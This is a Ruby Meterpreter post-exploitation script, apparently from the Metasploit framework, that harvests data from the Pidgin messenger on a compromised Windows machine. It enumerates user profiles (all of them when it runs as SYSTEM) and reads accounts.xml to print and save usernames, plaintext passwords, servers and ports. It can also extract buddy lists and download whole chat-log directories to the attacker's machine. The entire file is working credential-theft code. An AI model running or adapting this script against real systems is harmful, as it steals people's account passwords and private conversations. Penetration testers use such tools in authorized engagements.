# $Id$
# $Revision$
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
require "rexml/document"

#-------------------------------------------------------------------------------
#Options and Option Parsing
opts = Rex::Parser::Arguments.new(
	"-h" => [ false, "Help menu." ],
	"-c" => [ false, "Return credentials." ],
	"-l" => [ false, "Retrieve logs." ],
	"-b" => [ false, "Retrieve buddies." ]
)

get_credentials=false
get_buddies=false
get_logs=false
opts.parse(args) { |opt, idx, val|
	case opt
	when "-h"
		print_line "Meterpreter Script for extracting configured services with username and passwords."
		print_line(opts.usage)
		raise Rex::Script::Completed
	when "-l"
		get_logs=true
	when "-b"
		get_buddies=true
	when "-c"
		get_credentials=true
	end
}
### If we get here and have none of our flags true, then we'll just
###   get credentials
if !(get_credentials || get_buddies || get_logs)
	get_credentials=true
end

#-------------------------------------------------------------------------------
#Set General Variables used in the script
@client = client
os = @client.sys.config.sysinfo['OS']
host = @client.sys.config.sysinfo['Computer']
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory,'scripts', 'pidgin_creds')
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
dest = logs + "/" + host + filenameinfo + ".txt"

#-------------------------------------------------------------------------------
#function for checking of Pidgin profile is present
def check_pidgin(path)
	found = nil
	@client.fs.dir.foreach(path) do |x|
		next if x =~ /^(\.|\.\.)$/
		if x =~ (/\.purple/)
			### If we find the path, let's return it
			found = path + x
			return found
		end
	end
	return found
end

#-------------------------------------------------------------------------------
#function for extracting the buddies
def extract_buddies(path)
	blist_xml = ""
	buddies = ""
	print_status("Reading blist.xml file...")
	### modified to use pidgin_path, which already has .purple in it
	blist_file = @client.fs.file.new(path + "\\blist.xml", "rb")
	until blist_file.eof?
		blist_xml << blist_file.read
	end
	blist_file.close
	doc = (REXML::Document.new blist_xml).root
	doc.elements["blist"].elements.each("group") {|group|
		group.elements.each("contact") {|contact|
			b_name=contact.elements["buddy"].elements["name"].text + ""
			b_account=contact.elements["buddy"].attributes["account"] + ""
			b_proto=contact.elements["buddy"].attributes["proto"] + ""
			b_alias=""
			if (contact.elements["buddy"].elements["alias"])
				b_alias=contact.elements["buddy"].elements["alias"].text
			end
			buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n"
		}
	}
	return buddies
end

#-------------------------------------------------------------------------------
#function for downloading logs
def download_logs(dest,pidgin_path)
	begin
		stat = client.fs.file.stat(pidgin_path+"\\logs")
		if(stat.directory?)
			print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs")
			client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true)
		end
	rescue
		print_status("Log directory does not exist, loggin is not enabled.")
	end
end

#-------------------------------------------------------------------------------
#function for extracting the credentials
def extract_creds(path)
	accounts_xml = ""
	creds = ""
	print_status("Reading accounts.xml file...")
	### modified to use pidgin_path, which already has .purple in it
	account_file = @client.fs.file.new(path + "\\accounts.xml", "rb")
	until account_file.eof?
		accounts_xml << account_file.read
	end
	account_file.close
	doc = (REXML::Document.new accounts_xml).root
	doc.elements.each("account") {|element|
		password = "<unknown>"
		if element.elements["password"]
			password=element.elements["password"].text
		end

		print_status("\tProtocol: #{element.elements["protocol"].text}")
		print_status("\tUsername: #{element.elements["name"].text}")
		print_status("\tPassword: #{element.elements["password"].text}")
		print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}")
		print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}")
		print_status()

		creds << "user=>#{element.elements["name"].text}"
		creds << "\tpass=>#{password}"
		creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}"
		creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}"
		creds << "\tproto=>#{element.elements["protocol"].text}\n"
	}
	return creds
end
#-------------------------------------------------------------------------------
#Function to enumerate the users if running as SYSTEM
def enum_users(os)
	users = []
	user = @client.sys.config.getuid
	path4users = ""
	sysdrv = @client.fs.file.expand_path("%SystemDrive%")

	if os =~ /7|Vista|2008/
		path4users = sysdrv + "\\users\\"
		path2purple = "\\AppData\\Roaming\\"
	else
		path4users = sysdrv + "\\Documents and Settings\\"
		path2purple = "\\Application Data\\"
	end

	if user == "NT AUTHORITY\\SYSTEM"
		print_status("Running as SYSTEM extracting user list..")
		@client.fs.dir.foreach(path4users) do |u|
			userinfo = {}
			next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
			userinfo['username'] = u
			userinfo['userappdata'] = path4users + u + path2purple
			users << userinfo
		end
	else
		userinfo = {}
		uservar = @client.fs.file.expand_path("%USERNAME%")
		userinfo['username'] = uservar
		userinfo['userappdata'] = path4users + uservar + path2purple
		users << userinfo
	end
	return users
end
#-------------------------------------------------------------------------------

################## MAIN ##################
print_status("Running Meterpreter Pidgin Credential harvester script")
print_status("All services are logged at #{dest}")
enum_users(os).each do |u|
	print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...")
	### Find the path (if it exists) for this user,
	pidgin_path = check_pidgin(u['userappdata'])
	if pidgin_path
		print_status("Pidgin profile found!")
		### modified to use pidgin_path
		if get_credentials
			file_local_write(dest,extract_creds(pidgin_path))
		end
		if get_buddies
			file_local_write(dest,extract_buddies(pidgin_path))
			print_status("Buddie list has been saved to the log file.")
		end
		if get_logs
			download_logs(logs,pidgin_path)
		end
	else
		print_error("Pidgin profile not found!")
	end
end